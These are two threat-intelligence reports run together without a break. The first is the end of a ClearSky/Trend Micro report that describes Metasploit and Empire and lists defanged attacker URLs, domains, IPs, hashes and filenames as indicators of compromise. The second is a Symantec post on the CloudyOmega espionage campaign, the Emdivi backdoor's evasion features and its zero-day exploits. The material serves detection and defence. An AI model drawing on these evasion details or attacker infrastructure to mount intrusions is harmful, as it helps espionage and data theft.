Metasploit A well-known free and open source framework for developing and executing exploit code against a remote target machine.47 It has more than 1,610 exploits, as well as more than 438 payloads, which include command shell that enables users to run collection scripts or arbitrary commands against the host.
Meterpreter, which enables users to control the screen of a device using VNC and to browse, upload and download files.
It also employs dynamic payloads that enables users to evade antivirus defenses by generating unique payloads.48 45 https://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/ 46 https://www.cobaltstrike.com/help-dns-beacon 47 https://www.metasploit.com 48 https://en.wikipedia.org/wiki/Metasploit_Project https://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/ https://blog.cobaltstrike.com/2015/10/14/the-cobalt-strike-trials-evil-bit/ https://www.cobaltstrike.com/help-dns-beacon https://www.cobaltstrike.com/help-dns-beacon https://www.metasploit.com/ https://www.metasploit.com/ https://en.wikipedia.org/wiki/Metasploit_Project https://en.wikipedia.org/wiki/Metasploit_Project Page 38 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Empire Post-exploitation Framework In several occasions the attackers used Empire, a free and open source post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent.49 The framework offers cryptologically-secure communications and a flexible architecture.
On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post- exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework.
49 https://github.com/EmpireProject/Empire https://github.com/EmpireProject/Empire https://github.com/EmpireProject/Empire Page 39 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Indicators of Compromise Detection name BKDR_COBEACON.A Detection name TROJ_POWPICK.A Detection name HKTL_PASSDUMP Detection name TROJ_SODREVR.A Detection name TROJ_POWSHELL.C Detection name BKDR_CONBEA.A Detection name TSPY64_REKOTIB.A Detection name HKTL_DIRZIP Detection name TROJ_WAPPOME.A URL http://js[.]jguery[.]net/main[.
]js URL http://pht[.]is[.]nlb-deploy[.]edge-dyn[.]e11[.]f20[.]ads-youtube[.]online/winini[.
]exe URL http://38[.]130[.]75[.]20/check[.
]html URL http://update[.]microsoft-office[.]solutions/license[.
]doc URL http://update[.]microsoft-office[.]solutions/error[.
]html URL http://main[.]windowskernel14[.]com/spl/update5x[.
]zip URL http://img[.
]twiter- statics[.
]info/i/658A6D6AE42A658A6D6AE42A/0de9c5c6599fdf5201599ff9b30e0000/6E24E58CF C94/icon[.
]png URL http://files0[.]terendmicro[.
]com/ URL http://ssl[.]pmo[.]gov[.]il-dana-naauthurl1-welcome[.]cgi[.
]primeminister-goverment- techcenter[.]tech/D7A1D7A7D7A820D7A9D7A0D7AAD799[.
]docx URL http://ea-in-f155[.]1e100[.]microsoft-security[.
]host/ URL https://ea-in-f155[.]1e100[.]microsoft-security[.
]host/mTQJ URL http://iba[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://doa[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://fda[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://rqa[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://qqa[.]stage[.]7338879[.]i[.]gtld-servers[.
]services URL http://api[.]02ac36110[.]49318[.]a[.]gtld-servers[.
]zone URL s1w-amazonaws.office-msupdate[.
]solutions URL a104-93-82-25.mandalasanati[.
]info/iBpa URL http://fetchnews-agency[.
]news-bbc.press/pictures.html URL http://fetchnews-agency.news-bbc.press/omnews.doc URL http://fetchnews-agency[.
]news-bbc.press/en/20170/pictures.doc SSLCertificate fa3d5d670dc1d153b999c3aec7b1d815cc33c4dc SSLCertificate b11aa089879cd7d4503285fa8623ec237a317aee SSLCertificate 07317545c8d6fc9beedd3dd695ba79dd3818b941 SSLCertificate 3c0ecb46d65dd57c33df5f6547f8fffb3e15722d SSLCertificate 1c43ed17acc07680924f2ec476d281c8c5fd6b4a SSLCertificate 8968f439ef26f3fcded4387a67ea5f56ce24a003 IPv4Address 206.221.181.253 IPv4Address 66.55.152.164 IPv4Address 68.232.180.122 IPv4Address 173.244.173.11 IPv4Address 173.244.173.12 IPv4Address 173.244.173.13 IPv4Address 209.190.20.149 IPv4Address 209.190.20.59 IPv4Address 209.190.20.62 IPv4Address 209.51.199.116 IPv4Address 38.130.75.20 http://js[.]jguery[.
]net/main5b.5djs Page 40 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 IPv4Address 185.92.73.194 IPv4Address 144.168.45.126 IPv4Address 198.55.107.164 IPv4Address 104.200.128.126 IPv4Address 104.200.128.161 IPv4Address 104.200.128.173 IPv4Address 104.200.128.183 IPv4Address 104.200.128.184 IPv4Address 104.200.128.185 IPv4Address 104.200.128.187 IPv4Address 104.200.128.195 IPv4Address 104.200.128.196 IPv4Address 104.200.128.198 IPv4Address 104.200.128.205 IPv4Address 104.200.128.206 IPv4Address 104.200.128.208 IPv4Address 104.200.128.209 IPv4Address 104.200.128.48 IPv4Address 104.200.128.58 IPv4Address 104.200.128.64 IPv4Address 104.200.128.71 IPv4Address 107.181.160.138 IPv4Address 107.181.160.178 IPv4Address 107.181.160.194 IPv4Address 107.181.160.195 IPv4Address 107.181.161.141 IPv4Address 107.181.174.21 IPv4Address 107.181.174.228 IPv4Address 107.181.174.232 IPv4Address 107.181.174.241 IPv4Address 188.120.224.198 IPv4Address 188.120.228.172 IPv4Address 188.120.242.93 IPv4Address 188.120.243.11 IPv4Address 188.120.247.151 IPv4Address 62.109.2.52 IPv4Address 188.120.232.157 IPv4Address 185.118.65.230 IPv4Address 185.118.66.114 IPv4Address 141.105.67.58 IPv4Address 141.105.68.25 IPv4Address 141.105.68.26 IPv4Address 141.105.68.29 IPv4Address 141.105.69.69 IPv4Address 141.105.69.70 IPv4Address 141.105.69.77 IPv4Address 31.192.105.16 IPv4Address 31.192.105.17 IPv4Address 31.192.105.28 IPv4Address 146.0.73.109 IPv4Address 146.0.73.110 IPv4Address 146.0.73.111 IPv4Address 146.0.73.112 IPv4Address 146.0.73.114 Page 41 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 IPv4Address 217.12.201.240 IPv4Address 217.12.218.242 IPv4Address 5.34.180.252 IPv4Address 5.34.181.13 IPv4Address 86.105.18.5 IPv4Address 93.190.138.137 IPv4Address 212.199.61.51 IPv4Address 80.179.42.37 IPv4Address 80.179.42.44 IPv4Address 176.31.18.29 IPv4Address 188.165.69.39 IPv4Address 51.254.76.54 IPv4Address 158.69.150.163 IPv4Address 192.99.242.212 IPv4Address 198.50.214.62 Hash a60a32f21ac1a2ec33135a650aa8dc71 Hash 94ba33696cd6ffd6335948a752ec9c19 Hash bcae706c00e07936fc41ac47d671fc40 Hash 1ca03f92f71d5ecb5dbf71b14d48495c Hash 506415ef517b4b1f7679b3664ad399e1 Hash 1ca03f92f71d5ecb5dbf71b14d48495c Hash bd38cab32b3b8b64e5d5d3df36f7c55a Hash ac29659dc10b2811372c83675ff57d23 Hash 41466bbb49dd35f9aa3002e546da65eb Hash 8f6f7416cfdf8d500d6c3dcb33c4f4c9e1cd33998c957fea77fbd50471faec88 Hash 02f2c896287bc6a71275e8ebe311630557800081862a56a3c22c143f2f3142bd Hash 2df6fe9812796605d4696773c91ad84c4c315df7df9cf78bee5864822b1074c9 Hash 55f513d0d8e1fd41b1417a0eb2afff3a039a9529571196dd7882d1251ab1f9bc Hash da529e0b81625828d52cd70efba50794 Hash 1f9910cafe0e5f39887b2d5ab4df0d10 Hash 0feb0b50b99f0b303a5081ffb3c4446d Hash 577577d6df1833629bfd0d612e3dbb05 Hash 165f8db9c6e2ca79260b159b4618a496e1ed6730d800798d51d38f07b3653952 Hash 1f867be812087722010f12028beeaf376043e5d7 Hash b571c8e0e3768a12794eaf0ce24e6697 Hash e319f3fb40957a5ff13695306dd9de25 Hash acf24620e544f79e55fd8ae6022e040257b60b33cf474c37f2877c39fbf2308a Hash 8c8496390c3ad048f2a0a4031edfcdac819ee840d32951b9a1a9337a2dcbea25 Hash c5a02e984ca3d5ac13cf946d2ba68364 Hash efca6664ad6d29d2df5aaecf99024892 Hash bff115d5fb4fd8a395d158fb18175d1d183c8869d54624c706ee48a1180b2361 Hash afa563221aac89f96c383f9f9f4ef81d82c69419f124a80b7f4a8c437d83ce77 Hash 4a3d93c0a74aaabeb801593741587a02 Hash 64c9acc611ef47486ea756aca8e1b3b7 Hash fb775e900872e01f65e606b722719594 Hash cf8502b8b67d11fbb0c75ebcf741db15 Hash 4999967c94a2fb1fa8122f1eea7a0e02 Hash 5fe0e156a308b48fb2f9577ed3e3b09768976fdd99f6b2d2db5658b138676902 Hash 37449ddfc120c08e0c0d41561db79e8cbbb97238 Hash 4442c48dd314a04ba4df046dfe43c9ea1d229ef8814e4d3195afa9624682d763 Hash 7651f0d886e1c1054eb716352468ec6aedab06ed61e1eebd02bca4efbb974fb6 Hash eb01202563dc0a1a3b39852ccda012acfe0b6f4d Hash 7e3c9323be2898d92666df33eb6e73a46c28e8e34630a2bd1db96aeb39586aeb Hash 9e5ab438deb327e26266c27891b3573c302113b8d239abc7f9aaa7eff9c4f7bb Page 42 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Hash 6a19624d80a54c4931490562b94775b74724f200 Hash 32860b0184676509241bbaf9233068d472472c3d9c93570fc072e1acea97a1d4 Hash b34721e53599286a1093c90a9dd0b789 Hash 7ad65e39b79ad56c02a90dfab8090392ec5ffed10a8e276b86ec9b1f2524ad31 Hash 59c448abaa6cd20ce7af33d6c0ae27e4a853d2bd Hash fb775e900872e01f65e606b722719594 Hash 871efc9ecd8a446a7aa06351604a9bf4 Hash cf8502b8b67d11fbb0c75ebcf741db15 Hash a4dd1c225292014e65edb83f2684f2d5 Hash 838fb8d181d52e9b9d212b49f4350739 Hash e37418ba399a095066845e7829267efe Hash 1072b82f53fdd9fa944685c7e498eece89b6b4240073f654495ac76e303e65c9 Hash 752240cddda5acb5e8d026cef82e2b54 Hash 435a93978fa50f55a64c788002da58a5 Hash 3de91d07ac762b193d5b67dd5138381a Hash a4adbea4fcbb242f7eac48ddbf13c814d5eec9220f7dce01b2cc8b56a806cd37 Hash aba7771c42aea8048e4067809c786b0105e9dfaa Hash b01e955a34da8698fae11bf17e3f79a054449f938257284155aeca9a2d3815dd Hash 3676914af9fd575deb9901a8b625f032 Hash f1607a5b918345f89e3c2887c6dafc05c5832593 Hash 341c920ec47efa4fd1bfcd1859a7fb98945f9d85 Hash 8b702ba2b2bd65c3ad47117515f0669c Hash 6ea02f1f13cc39d953e5a3ebcdcfd882 Hash 8f77a9cc2ad32af6fb1865fdff82ad89 Hash 62f8f45c5f10647af0040f965a3ea96d Hash d9aa197ca2f01a66df248c7a8b582c40 Hash 217b1c2760bcf4838f5e3efb980064d7 Hash cfb4be91d8546203ae602c0284126408 Hash 16a711a8fa5a40ee787e41c2c65faf9a78b195307ac069c5e13ba18bce243d01 Hash 5e65373a7c6abca7e3f75ce74c6e8143 Hash d3b9da7c8c54f7f1ea6433ac34b120a1 Hash 32261fe44c368724593fbf65d47fc826 Hash d2c117d18cb05140373713859803a0d6 Hash 113ca319e85778b62145019359380a08 Hash 4999967c94a2fb1fa8122f1eea7a0e02 Hash 9846b07bf7265161573392d24543940e Hash bf23ce4ae7d5c774b1fa6becd6864b3b Hash 720203904c9eaf45ff767425a8c518cd Hash 62652f074924bb961d74099bc7b95731 Hash 1fba1876c88203a2ae6a59ce0b5da2a1 Hash cf8502b8b67d11fbb0c75ebcf741db15 Hash fb775e900872e01f65e606b722719594 Hash 73f14f320facbdd29ae6f0628fa6f198dc86ba3428b3eddbfc39cf36224cebb9 Hash 3d2885edf1f70ce4eb1e9519f47a669f Filename config.exe Filename Strike.doc Filename malware.doc Filename PDFOPENER_CONSOLE.exe Filename Ma_1.tmp Filename Wextract Filename The20United20Nations20Counter.doc.docx Filename netsrvs.exe Filename Date.dotm Filename ssl.docx Page 43 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Filename o040t.exe Filename m8f7s.exe Filename d5tjo.exe Filename LogManager.tmp Filename edg1CF5.tmp Filename ntuser.swp Filename svchost64.swp Filename ntuser.dat.swp Filename 455aa96e-804g-4bcf-bcf8-f400b3a9cfe9.PackageExtraction Filename Svchost32.swp Filename Svchost64.swp Filename update5x.dll Filename 22092014_ver621.dll Filename netsrv.exe Filename netsrva.exe Filename netsrvd.exe Filename netsrvs.exe Filename vminst.tmp Filename tdtess.exe Filename test_oracle.xls Filename ur96r.exe Filename The North Korean weapons program now testing USA range.docx Filename F123321.exe Domain wethearservice[.
]com Domain mywindows24[.
]in Domain microsoft-office[.
]solutions Domain code[.]jguery[.
]net Domain 1m100[.
]tech Domain cloudflare-statics[.
]com Domain cachevideo[.
]com Domain winfeedback[.
]net Domain terendmicro[.
]com Domain alkamaihd[.
]com Domain msv-updates[.]gsvr-static[.
]co Domain fbstatic-a[.
]space Domain broadcast-microsoft[.
]tech Domain sharepoint-microsoft[.
]co Domain newsfeeds-microsoft[.
]press Domain owa-microsoft[.
]online Domain digicert[.
]online Domain cloudflare-analyse[.
]com Domain israelnewsagency[.
]link Domain akamaitechnology[.
]tech Domain winupdate64[.
]org Domain ads-youtube[.
]net Domain cortana-search[.
]com Domain nsserver[.
]host Domain nameserver[.
]win Domain symcd[.
]xyz Domain fdgdsg[.
]xyz Domain dnsserv[.
]host Domain winupdate64[.
]com Domain ssl-gstatic[.
]online Domain updatedrivers[.
]org Page 44 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain alkamaihd[.
]net Domain update[.]microsoft-office[.
]solutions Domain javaupdate[.
]co Domain outlook360[.
]org Domain winupdate64[.
]net Domain trendmicro[.
]tech Domain qoldenlines[.
]net Domain windefender[.
]org Domain 1e100[.
]tech Domain chromeupdates[.
]online Domain ads-youtube[.
]online Domain akamaitechnology[.
]com Domain cloudmicrosoft[.
]net Domain js[.]jguery[.
]online Domain azurewebsites[.
]tech Domain elasticbeanstalk[.
]tech Domain jguery[.
]online Domain microsoft-security[.
]host Domain microsoft-ds[.
]com Domain jguery[.
]net Domain primeminister-goverment-techcenter[.
]tech Domain officeapps-live[.
]com Domain microsoft-tool[.
]com Domain cissco[.
]net Domain js[.]jguery[.
]net Domain f-tqn[.
]com Domain javaupdator[.
]com Domain officeapps-live[.
]net Domain ipresolver[.
]org Domain intelchip[.
]org Domain outlook360[.
]net Domain windowkernel[.
]com Domain wheatherserviceapi[.
]info Domain windowslayer[.
]in Domain sdlc-esd-oracle[.
]online Domain mpmicrosoft[.
]com Domain officeapps-live[.
]org Domain cachevideo[.
]online Domain win-update[.
]com Domain labs-cloudfront[.
]com Domain windowskernel14[.
]com Domain fbstatic-akamaihd[.
]com Domain mcafee-analyzer[.
]com Domain cloud-analyzer[.
]com Domain fb-statics[.
]com Domain ynet[.
]link Domain twiter-statics[.
]info Domain diagnose[.]microsoft-office[.
]solutions Domain mswordupdate17[.
]com Domain gsvr-static[.
]co Domain news-bbc[.
]press Domain mandalasanati[.
]info Domain office-msupdate[.
]solutions Domain windows-updates[.
]solutions Page 45 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 Domain akamai-net[.
]network Domain azureedge-net[.
]services Domain doucbleclick[.
]tech Domain windows-updates[.
]services Domain windows-updates[.
]network Domain cloudfront[.
]site Domain netcdn-cachefly[.
]network Domain akamaized[.
]online Domain cdninstagram[.
]center Domain googlusercontent[.
]center DNSName ea-in-f354[.]1e100[.]ads-youtube[.
]net DNSName ns1[.]ynet[.
]link DNSName ns2[.]ynet[.
]link DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]be-5-0-ibr01-lts-ntwk-msn[.]alkamaihd[.
]com DNSName pht[.]is[.]nlb-deploy[.]edge-dyn[.]e11[.]f20[.]ads-youtube[.
]online DNSName ns1[.]winfeedback[.
]net DNSName ns2[.]winfeedback[.
]net DNSName msupdate[.]diagnose[.]microsoft-office[.
]solutions DNSName www[.]alkamaihd[.
]net DNSName c20[.]jdk[.]cdn-external-ie[.]1e100[.]alkamaihd[.
]net DNSName ns2[.]img[.]twiter-statics[.
]info DNSName api[.]img[.]twiter-statics[.
]info DNSName ns1[.]img[.]twiter-statics[.
]info DNSName ns1[.]officeapps-live[.
]net DNSName ns1[.]wheatherserviceapi[.
]info DNSName ns2[.]microsoft-tool[.
]com DNSName ns2[.]f-tqn[.
]com DNSName carl[.]ns[.]cloudflare[.]com[.]sdlc-esd-oracle[.
]online DNSName ns1[.]cortana-search[.
]com DNSName 40[.]dc[.]c0ad[.]ip4[.]dyn[.]gsvr-static[.
]co DNSName 40[.]dc[.]c2ad[.]ip4[.]dyn[.]gsvr-static[.
]co DNSName ns2[.]winupdate64[.
]org DNSName ns1[.]f-tqn[.
]com DNSName ns2[.]cortana-search[.
]com DNSName ns1[.]symcd[.
]xyz DNSName ns2[.]symcd[.
]xyz DNSName ns1[.]winupdate64[.
]org DNSName ns1[.]microsoft-tool[.
]com DNSName ns2[.]officeapps-live[.
]com DNSName ns1[.]israelnewsagency[.
]link DNSName ns2[.]israelnewsagency[.
]link DNSName ns1[.]cissco[.
]net DNSName ns2[.]cissco[.
]net DNSName ns1[.]cachevideo[.
]online DNSName ns2[.]cachevideo[.
]online DNSName www[.]static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]www[.]alkamaihd[.
]com DNSName dhb[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.
]co DNSName main[.]windowskernel14[.
]com DNSName www[.]winupdate64[.
]net DNSName ae13-0-hk2-96cbe-1a-ntwk-msn[.]static[.]dyn-usr[.
]g-blc- se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com DNSName be-5-0-ibr01-lts-ntwk-msn[.]static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com Page 46 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]static[.]dyn-usr[.
]g-blc- se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com DNSName cyb[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.
]co DNSName ns1[.]winupdate64[.
]com DNSName ns1[.]twiter-statics[.
]info DNSName 40[.]dc[.]c0ad[.]ip4[.]dyn[.]gsvr-static[.
]co DNSName update[.]microsoft-office[.
]solutions DNSName wk-in-f104[.]1e100[.]n[.]microsoft[.]qoldenlines[.
]net DNSName ns1[.]fb-statics[.
]com DNSName ns2[.]fb-statics[.
]com DNSName is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.
]akamaitechnology DNSName img[.]gmailtagmanager[.
]com DNSName wk-in-f104[.]1c100[.]n[.]microsoft-security[.
]host DNSName msnbot-sd7-46-cdn[.]microsoft-security[.
]host DNSName msnbot-sd7-46-img[.]microsoft-security[.
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]host DNSName ea-in-f155[.]1e100[.]microsoft-security[.
]host DNSName msnbot-207-46-194[.]microsoft-security[.
]host DNSName img[.]twiter-statics[.
]info DNSName msnbot-sd7-46-cdn[.]microsoft-security[.
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]info DNSName ns1[.]windowkernel[.
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]com DNSName ns2[.]fbstatic-a[.
]space DNSName ns1[.]fbstatic-a[.
]space DNSName api[.]TwitEr-Statics[.
]info DNSName ns2[.]mcafee-analyzer[.
]com DNSName 21666[.]mpmicrosoft[.
]com DNSName 22830[.]officeapps-live[.
]org DNSName 15236[.]mcafee-analyzer[.
]com DNSName ns2[.]static[.]dyn-usr[.]gsrv02[.]ssl-gstatic[.
]online DNSName ns1[.]mcafee-analyzer[.
]com DNSName ns1[.]fbstatic-akamaihd[.
]com DNSName ns1[.]static[.]dyn-usr[.]gsrv01[.]ssl-gstatic[.
]online DNSName ns2[.]officeapps-live[.
]org DNSName wk-in-f104[.]1e100[.]n[.]microsoft-security[.
]host DNSName ns1[.]mpmicrosoft[.
]com DNSName www[.]microsoft-security[.
]host DNSName ns2[.]fbstatic-akamaihd[.
]com DNSName ns1[.]cachevideo[.
]online DNSName wk-in-f100[.]1e100[.]n[.]microsoft-security[.
]host DNSName ns1[.]officeapps-live[.
]org DNSName ns2[.]mpmicrosoft[.
]com DNSName ns02[.]nsserver[.
]host DNSName ns2[.]cachevideo[.
]online DNSName be-5-0-ibr01-lts-ntwk-msn[.]alkamaihd[.
]com DNSName static[.]dyn-usr[.]g-blc-se[.]d45[.]a63[.]akamai[.]alkamaihd[.
]com DNSName www[.]alkamaihd[.
]com DNSName ae13-0-hk2-96cbe-1a-ntwk-msn[.]alkamaihd[.
]com DNSName ns2[.]microsoft-ds[.
]com DNSName adcenter[.]microsoft-ds[.
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]com DNSName ns1[.]mswordupdate17[.
]com Page 47 of 48 All rights reserved to ClearSky cyber security and Trend Micro, 2017 DNSName ns2[.]mswordupdate17[.
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]com DNSName ns01[.]nsserver[.
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]com DNSName ns02[.]dnsserv[.
]host DNSName 15236[.]cachevideo[.
]online DNSName ns2[.]fb-statics[.
]com DNSName ns2[.]twiter-statics[.
]info DNSName ea-in-f113[.]1e100[.]microsoft-security[.
]host DNSName static[.]dyn-usr[.]f-login-me[.]c19[.]a[.]akamaitechnology[.
]tech DNSName ea-in-f155[.]1e100[.]microsoft-security[.
]host DNSName float[.]2963[.]bm-imp[.]akamaitechnology[.
]tech DNSName ns1[.]mcafee-analyzer[.
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]com DNSName ns1[.]mpmicrosoft[.
]com DNSName ns2[.]mpmicrosoft[.
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]tech DNSName jpsrv-java-jdkec3[.]javaupdate[.
]co DNSName nameserver02[.]javaupdate[.
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]net DNSName ssl[.]pmo[.]gov[.]il-dana-naauthurl1-welcome[.]cgi[.]primeminister-goverment-techcenter[.
]tech DNSName ns1[.]static[.]dyn-usr[.]gsrv01[.
]ssl- gstatic[.
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]ssl- gstatic[.
]online DNSName static[.]primeminister-goverment-techcenter[.
]tech DNSName ns1[.]outlook360[.
]org DNSName d45[.]a63[.]alkamaihd[.
]net DNSName ns1[.]officeapps-live[.
]org DNSName ns2[.]outlook360[.
]org DNSName ns2[.]officeapps-live[.
]org DNSName ns2[.]win-update[.
]com DNSName aaa[.]stage[.]14043411[.]email[.]sharepoint-microsoft[.
]co DNSName ns1[.]updatedrivers[.
]org DNSName a17-h16[.]g11[.]iad17[.]as[.]pht-external[.]c15[.]qoldenlines[.
]net DNSName ns1[.]windefender[.
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]org DNSName www[.]is-cdn[.]edge[.]g18[.]dyn[.]usr-e12-as[.]akamaitechnology[.
]com DNSName 11716[.]cachevideo[.
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]net DNSName ns01[.]nameserver[.
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]ONLINe DNSName STATIC[.]DYN-USR[.]GSRV01[.]SSL-GSTATIC[.
]online DNSName ns1[.]labs-cloudfront[.
]com DNSName ns2[.]labs-cloudfront[.
]com DNSName www[.]broadcast-microsoft[.
]tech DNSName www[.]newsfeeds-microsoft[.
]press DNSName www[.]owa-microsoft[.
]online DNSName static[.]c20[.]jdk[.]cdn-external-ie[.]1e100[.
]tech DNSName ns1[.]cloud-analyzer[.
]com DNSName ns2[.]cloud-analyzer[.
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]com DNSName 7737[.]cachevideo[.
]com DNSName hda[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.
]co DNSName msdn[.]winupdate64[.
]net DNSName kja[.]stage[.]12735072[.]40[.]dc[.]c0ad[.]ip4[.]sta[.]gsvr-static[.
]co
Operation CloudyOmega: Ichitaro zero-day and ongoing cyberespionage campaign targeting Japan JustSystems has issued an update to its Ichitaro product line (Japanese office suite software), plugging a zero-day vulnerability.
This vulnerability is being actively exploited in the wild to specifically target Japanese organizations.
The exploit is sent to the targeted organizations through emails with a malicious Ichitaro document file attached, which Symantec products detect as Bloodhound.
Exploit.557.
Payloads from the exploit may include Backdoor.
Emdivi, Backdoor.
Korplug, and Backdoor.
ZXshell however, all payloads aim to steal confidential information from the compromised computer.
The content of the emails vary depending on the business interest of the targeted recipients organization however, all are about recent political events associated with Japan.
Opening the malicious attachment with Ichitaro will drop the payload and display the document.
Often such exploitation attempts crash and then relaunch the document viewer to open a clean document in order to trick users into believing it is legitimate.
In this particular attack, opening the document and dropping the payload are done without crashing Ichitaro and, as such, users have no visual indications as to what is really happening in the background.
CloudyOmega As Security Response previously discussed, unpatched vulnerabilities being exploited is nothing new for Ichitaro.
However, during our investigation of this Ichitaro zero-day attack, we discovered that the attack was in fact part of an ongoing cyberespionage campaign specifically targeting various Japanese organizations.
Symantec has named this attack campaign CloudyOmega.
In this campaign, variants of Backdoor.
Emdivi are persistently used as a payload.
All attacks arrive on the target computers as an attachment to email messages.
Mostly the attachments are in a simple executable format with a fake icon.
However, some of the files exploit software vulnerabilities, and the aforementioned vulnerability in Ichitaro software is only one of them.
This groups primary goal is to steal confidential information from targeted organizations.
This blog provides insights into the history of the attack campaign, infection methods, malware payload, and the group carrying out the attacks.
Timeline The first attack of the campaign can be traced back to at least 2011.
Figure 1 shows the targeted sectors and the number of attacks carried out each year.
The perpetrators were very cautious launching attacks in the early years with attacks beginning in earnest in 2014.
By far, the public sector in Japan is the most targeted sector hit by Operation CloudyOmega.
This provides some clue as to who the attack group is.
http://www.symantec.com/security_response/writeup.jsp?docid2014-110611-5618-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-101715-1341-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-062914-2531-99 http://www.symantec.com/security_response/writeup.jsp?docid2014-021716-3303-99 http://www.symantec.com/connect/blogs/yet-another-zero-day-japan-hit-ichitaro-vulnerability Figure 1.
Targeted sectors and number of attacks Attack vector Email is the predominant infection vector used in this campaign.
Figure 2.
Sample email used in attack campaign Figure 2 is an example of an email used in recent attacks prior to those exploiting the Ichitaro zero-day vulnerability.
The emails include password-protected .zip files containing the malware.
Ironically, the attackers follow security best practices by indicating in the first email that the password will be sent to the recipient in a separate email.
This is merely to trick the recipient into believing the email is from a legitimate and trustworthy source.
The body of the email is very short and claims the attachment includes a medical receipt.
The email also requests that the recipient open the attachment on a Windows computer.
The file in the attachment has a Microsoft Word icon but, as indicated within Windows Explorer, it is an executable file.
Figure 3.
Attached document is actually a malicious executable file Payload The malicious payload is Backdoor.
Emdivi, a threat that opens a back door on the compromised computer.
The malware is exclusively used in the CloudyOmega attack campaign and first appeared in 2011 when it was used in an attack against a Japanese chemical company.
Emdivi allows the remote attacker executing the commands to send the results back to the command-and-control (CC) server through HTTP.
Each Emdivi variant has a unique version number and belongs to one of two types: Type S and Type T. The unique version number is not only a clear sign that Emdivi is systematically managed, but it also acts as an encryption key.
The malware adds extra words to the version number and then, based on this, generates a hash, which it uses as an encryption key.
Both Emdivi Type S and Type T share the following functionality: Allow a remote attacker to execute code through HTTP Steal credentials stored by Internet Explorer Type T is primarily used in Operation CloudyOmega, has been in constant development since the campaign was first launched in 2011, and is written in the C programing language.
Type T employs techniques to protect itself from security vendors or network administrators.
Important parts of Type T, such as the CC server address it contacts and its protection mechanisms, are encrypted.
Type T also detects the presence of automatic analysis systems or debuggers, such as the following: VirtualMachine Debugger Sandbox Type S, on the other hand, was used only twice in the attack campaign.
Type S is a .NET application based on the same source code and shared CC infrastructure as Type T. However, protection mechanisms and encryption, essential features for threat survival, are not present in Type S. One interesting trait of Type S is that it uses Japanese sentences that seem to be randomly taken from the internet to change the file hash.
For instance, in the example shown in Figure 4, it uses a sentence talking about the special theory of relativity.
Figure 4.
Japanese text used by Emdivi Type S variant Who is Emdivi talking to?
Once infected, Emdivi connects to hardcoded CC servers using the HTTP protocol.
So far, a total of 50 unique domains have been identified from 58 Emdivi variants.
Almost all websites used as CC servers are compromised Japanese websites ranging from sites belonging to small businesses to personal blogs.
We discovered that 40 out of the 50 compromised websites, spread across 13 IP addresses, are hosted on a single cloud-hosting service based in Japan.
Figure 5.
Single IP hosts multiple compromised websites The compromised sites are hosted on various pieces of web server software, such as Apache and Microsoft Internet Information Services (IIS), and are on different website platforms.
This indicates that the sites were not compromised through a vulnerability in a single software product or website platform.
Instead, the attacker somehow penetrated the cloud service itself and turned the websites into CC servers for Backdoor.
Emdivi.
The compromised cloud hosting company has been notified but, at the time of writing, has not replied.
Symantec offers two IPS signatures that detect and block network communication between infected computers and the Emdivi CC server: System Infected: Backdoor.
Emdivi Activity System Infected: Backdoor.
Emdivi Activity 2 Zero-day and links to other cybercriminal groups During our research, multiple samples related to this attack campaign were identified and allowed us to connect the dots, as it were, when it came to CloudyOmegas connections to other attack groups.
In August 2012, the CloudyOmega attackers exploited the zero-day Adobe Flash Player and AIR copyRawDataTo() Integer Overflow Vulnerability (CVE-2012-5054) in an attack against a high-profile organization in Japan.
The attackers sent a Microsoft Word file containing a maliciously crafted SWF file that exploited the vulnerability.
Once successfully exploited, the file installed Backdoor.
Emdivi.
As CVE- 2012-5054 was publicly disclosed in the same month, the attack utilized what was, at the time, a zero-day exploit.
Interestingly, the Flash file that was used in an Emdivi attack in 2012 and the one used in the LadyBoyle attack in 2013 look very similar.
Figure 6 shows the malformed SWF file executing LadyBoyle() code that attempts to exploit the Adobe Flash Player CVE-2013-0634 Remote Memory Corruption Vulnerability (CVE-2013-0634).
The Flash file seems to have been created using the same framework used by the CloudyOmega group, but with a different exploit.
http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27975 http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid27989 http://www.securityfocus.com/bid/55691 http://www.symantec.com/connect/blogs/adobe-zero-day-used-ladyboyle-attack http://www.securityfocus.com/bid/57787 Figure 6.
Malformed SWF file used in the LadyBoyle campaign in February 2013 Both attacks use a .doc file containing an Adobe Flash zero-day exploit that is used to install a back door.
